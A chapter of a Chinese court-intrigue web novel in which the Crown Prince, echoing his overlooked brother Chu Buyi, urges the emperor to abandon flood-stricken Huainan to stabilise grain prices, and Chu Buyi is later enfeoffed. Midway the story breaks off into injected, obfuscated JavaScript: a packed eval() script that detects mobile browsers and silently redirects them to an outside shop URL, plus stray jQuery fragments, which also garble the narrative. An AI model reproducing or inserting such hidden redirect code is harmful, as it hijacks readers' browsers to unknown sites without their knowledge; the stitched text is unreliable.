褚不移回去后等了两日,也没等到答复,心中便有了数。

    这断尾止损之法虽是他亲口点破,却极难落地施行。若非牵扯巨大、祸福难料,满朝文武也不会集体搁置多日,无人敢率先开口。

    大家都不提,只不过是不想承担罢了。

    现在不提,将来淮南出了什么灾祸,还有三皇子背锅。他与陛下到底是父子血亲,皇帝就算生气,也不会计较太久。但若臣子们主动开口,就等于接下了这桩烂摊子。

    做得再好,也只是本分履职;稍有差池,便是祸及身家的弥天大罪。

    太子亦是如此。

    褚不移知晓他脾性如此,当然从未寄希望于太子改变主意。而

    陛下是一国之君,不会放任危机继续蔓延,这事总要有人出来解决,真到了退无可退的地步,握下这柄利刃的权利,终究会落到旁人手中。

    他等的就是这个时刻。

    ·

    宣政殿内,气氛肃穆沉郁。

    书案上灾情奏报堆叠成山,皇帝面色阴沉,太子肃立一侧,余下诸臣或忧虑、或忐忑,或恭肃,神色各异,无人敢先言语。

    淮南官粮的消耗速度,远比他们预想的还要快。

    前两陛下下旨,命淮南周边各处关津,调阅近期商贾入淮的过所卷宗,细细盘查。核查下来才发现,二十名往来行商之中,仅有一二外地粮商。

    更有甚者,宁可抬高成本,绕道山南道、黔中道辗转行路,也不愿取道淮南入江。

    细查缘由,这才知晓症结。

    原来淮南关口盘查颇为严苛。但凡经由此地过境,粮商运载的米粮均有定额,一旦所载粮食超出规制数目,便要罚钱没粮。

    一趟下来,过关的损失比绕道加的成本还要高。

    如今河南、江南的粮价持续上涨,风波一路蔓延到河北、河东、黔中等地,连京师的米油价格也节节攀升。不仅百姓怨声载道,淮南本地的官吏也是多有怨言。

    官府赈灾只赈衣食,百姓日常杂货随着价格一路疯涨,官吏们领微薄俸禄,起早贪黑救灾,如今那点钱养家糊口都难,心中难免积怨。

    眼下淮南看似安稳,是百姓在隐忍支撑,并非局势稳固之故。但如果再继续下去,必生动乱。

    如今朝中已有官员上书,请旨暂停调粮赈灾,但毕竟赈了这么多天,怎么停也是门学问,贸然收手只会激化矛盾。

    皇帝目光扫过众人,声线冷沉:“如今各地常平仓的储备已难平粮价,连着日用杂物价格也尽数飞涨,依你们之见,该如何处置?”

    殿内一片死寂,臣子垂首,无人应答。

    皇帝冷眼扫过众人,心中翻起些许怒意。

    这群臣子里,新的魄力不足,不敢主动进言;老的圆滑奸诈,只等他人开口。眼见着是个烂摊子,你推我我推你,都怕做了主事的魁首。

    他不耐地换了个人,问道:“太子,此事你怎么看?”

    太子心中一跳,硬着头皮道:“儿臣以为,此事还需再议……”

    “再议?”

    皇帝猛地抬手扫落案上奏折,纸页纷飞落地,怒极反笑:“好一个再议!淮南百姓熬得住,河南江南的百姓熬得住吗?边关将士粮草紧缺,拿什么镇守疆土!”

    陛下雷霆之怒,太子额上冷汗连连,身后臣子尽数跪伏在地,不敢接话。

    “平日朝堂,你们为后宫琐事、皇子品行喋喋不休,鸡毛蒜皮大点的小事恨不得告到宗庙!怎么,现在哑巴了?”

    皇帝负手而立,目光凛冽扫过众人,“如今国难当前,你们反倒畏首畏尾、装聋作哑!朕要你们这群人何用!”

    玉瓷摆件摔落地面,脆响刺耳,震得殿内人心惶惶。

    太子双腿一软,恨不得伏在地上。

    皇帝字字如刀,看似斥责余下诸官,其实是直点对他的不满。陛下口中说的“鸡毛蒜皮大点的小事”,不就是指前些日子太子联络朝臣、弹劾三皇子褚渊行迹不端的事吗?

    他背上湿了一片,心底只剩寒意。

    看来眼下是躲不过去了,陛下可以容忍褚渊办事不利,却不会留下一个庸碌无为、不能为君分忧的太子。

    他已经没有退路了。

    太子咬牙抬头,声音干涩,带着几分恐慌:“儿臣……儿臣以为,淮南粮价不可再压。”

    每说一句,他额上的汗便往下落,浸透了整件衣衫。

    耳边传来些许臣子讨论的碎语,他垂首紧闭双眼,一条命豁出去了,一口气说道:儿臣想,“为今之计,不仅要收紧官粮,还要抬高淮南粮价。江南如今六贯一石,若淮南能抬至七贯一石,粮商趋利而往,算上路途损耗也能有赚。虽有些酷厉,但唯有此举,才能稳住江河粮价!!”

    他说罢,额头紧贴砖地。

    自己也知道这话实在难听。

    果然,此言一出,满殿哗然。

    殿中立刻就有大臣反驳。

    “陛下此举万万不可!”礼部侍郎劝道,“淮南百姓遭逢大灾,多得是无家可归之人。若此时收紧,淮南境内无粮,这些人岂非要冻死饿死在路边?此举于朝局百害无利啊!!”

    太子此刻也有些后悔,但话已出口,没有回旋的余地了。

    他一字一句道:“回父皇,儿臣此举,正是弃淮南而救天下万民。”

    殿内骤然一静。

    太子党羽暗暗担忧,皆以为陛下必会斥责太子,谁知皇帝沉吟片刻,只反问一句。

    “此局,你打算作何解?”

    这……这是认同他的意思吗?

    太子心头微松,连忙将褚不移前日所言的利弊局势缓缓道出,又修饰了下措辞,表明此是顾全大局之道。

    “儿臣想,灾情延绵至今,已一月有余。恐怕其中不止水利之故,也有官府赈济过溺的原因。”

    他沉声道,“朝廷原本只需按受灾人户发放赈粮,却普惠万民,无度赈济。三弟一举,犹如给将能走的人送上拄杖,时间一长,健全之人也变了成瘸子。如今只有将拐杖拿走,淮南才能慢慢恢复生机。”

    皇帝没有回答,只微微眯眼打量着这个儿子。

    “你一向宽厚仁善,不像能做此举的脾性。说,这番言论是何人教你的?”

    太子心一颤,父皇到底是块老姜,将他看得清清楚楚的。

    他强装镇定道:“父皇为淮南担忧,儿臣知晓您日夜悬心,也睡不安稳,所以同弟弟们商量了一番,才得出此言论。”

    “哦?是你哪个弟弟?”

    “是——”

    太子顿了顿,声音渐小,“是四弟,褚不移。”

    “你说什么?”

    余光里,他瞥见父皇立时皱起眉,眸中闪过的情绪里有些不屑,又有些惊疑。

    “褚不移……”

    一个被他冷落多年、困于宫中的皇子,如同玉兰苑里不曾发现的野草,无人关注在意。

    从样貌到性格、这么多皇子公主里,最不像他的那个竟然有这样杀伐果断的魄力。

    “吾儿若有如此胆识,何愁大乾不能兴旺?”

    可惜,偏偏是一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882590|212174||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个不重要的皇子。

    皇帝叹了口气,扫了眼面露不安的太子,缓缓道:“也罢,既然是你建言的,朕便将此事交于你。命你在半月之内平各地粮价、遏制乱象,不得有失。”

    太子心里一沉,叩首道:“儿臣领命,定不负父皇所托!!”

    眼见气氛渐缓,黄门侍郎趁机道:“陛下,大乾律法森严,义仓赈济必先勘灾造册、行文申报,待陛下下诏、尚书省发放省符,各州司仓参军核对簿册,方可开仓放粮。

    可是,眼下三皇子所用粮米已远超当日申报之数,臣斗胆请问,多出的那部分粮草从何而来?没有诏书旨意、没有省符簿册,州县为何擅自开仓?开仓的依据又是什么?”

    皇帝与朝臣早就遇见此情形,之后不曾再批准放粮,若三皇子严守律法,想必粮价也不会升得这么快,总能给朝廷留下一丝喘息的余地。

    皇帝抬手止住他的话,淡淡道:“朕知晓你的意思。褚渊年轻躁进、行事鲁莽,朕虽派贺珩辅佐,终究压不住他急于立功的心性。”

    “如今灾情要紧,他们身在前线安抚民心,不宜此刻苛责。一切等尘埃落定时再议。”

    太子思虑片刻,趁机道:“父皇,三弟此番行事莽撞,虽有他性格鲁莽之由,但也是因为朝廷可用之人寥寥,能替父皇分忧的人更是少之又少。儿臣想,四弟久居深宫,却能勘破此次症结,胆识眼界远超常人。且他一向谨慎恭敬,母后病时他常抄经祷告,想来日后也能为陛下分担一二。”

    四弟点醒了他,他自然要投桃报李。

    褚不移背后并无势力,除了太子之外他不能倚仗任何人,用着也舒心。还有更重要的,褚不移与褚渊有纠,来日在扳倒褚渊一事上,定尽心尽力。

    再者,他一人终究不能料理这一大片淮南,若有褚不移做助手,将来事若不成,也能替过一二。

    只是,父皇向来轻视四弟,恐怕不会轻易答应……

    话音落下,皇帝眉宇间果然掠过一丝不快,他不置可否,只淡淡道:“你四弟素来沉静,朕原想留他在宫中安稳度日,不必卷入朝堂争斗。此事……容后再议。”

    太子心中微有遗憾,却不敢再谏,只得叩首退下。

    ·

    太子在殿上为四弟进言之事,很快就传到褚不移的耳中。

    伺候他的老太监叹了口气,颇觉可惜。

    “太子殿下亲自进言都无用,想来陛下是打定主意,不会放殿下出宫了。”

    褚不移神色倒是很平静。

    “这也未必。”

    经此一役,皇帝也算是看清了他这两个儿子,太子昏懦胆怯,褚渊有勇无谋,一个比一个不顶用。

    陛下最懂帝王制衡之道,眼下两个都不中用,剩下的皇子还未长成,眼下唯有再引入一方势力,方能盘活棋局。

    而他,就是那柄最合适、最可控的刀。

    皇帝别无选择。

    褚不移点燃一支香,在母亲牌位前拜了拜。

    两日后,陛下身边的大太监不请自来,高声宣召——

    “昔周室建藩,汉邦胙土……朕第四子不移,孝友恭温,颇闲诗礼……今封安王,食实封八百户,赐第于兴庆坊,册礼毕出阁就第,依制开府。主者施行。”

    内侍卷起黄麻,吊着细细的嗓子笑贺。

    “安王殿下,恭喜了。”

    褚不移跪在冰冷的地砖上,那张俊朗的脸平静无波,只在对方递来圣旨时,抬手接过。

    他垂下眼睑,一字一句道。

    “儿臣,领旨。”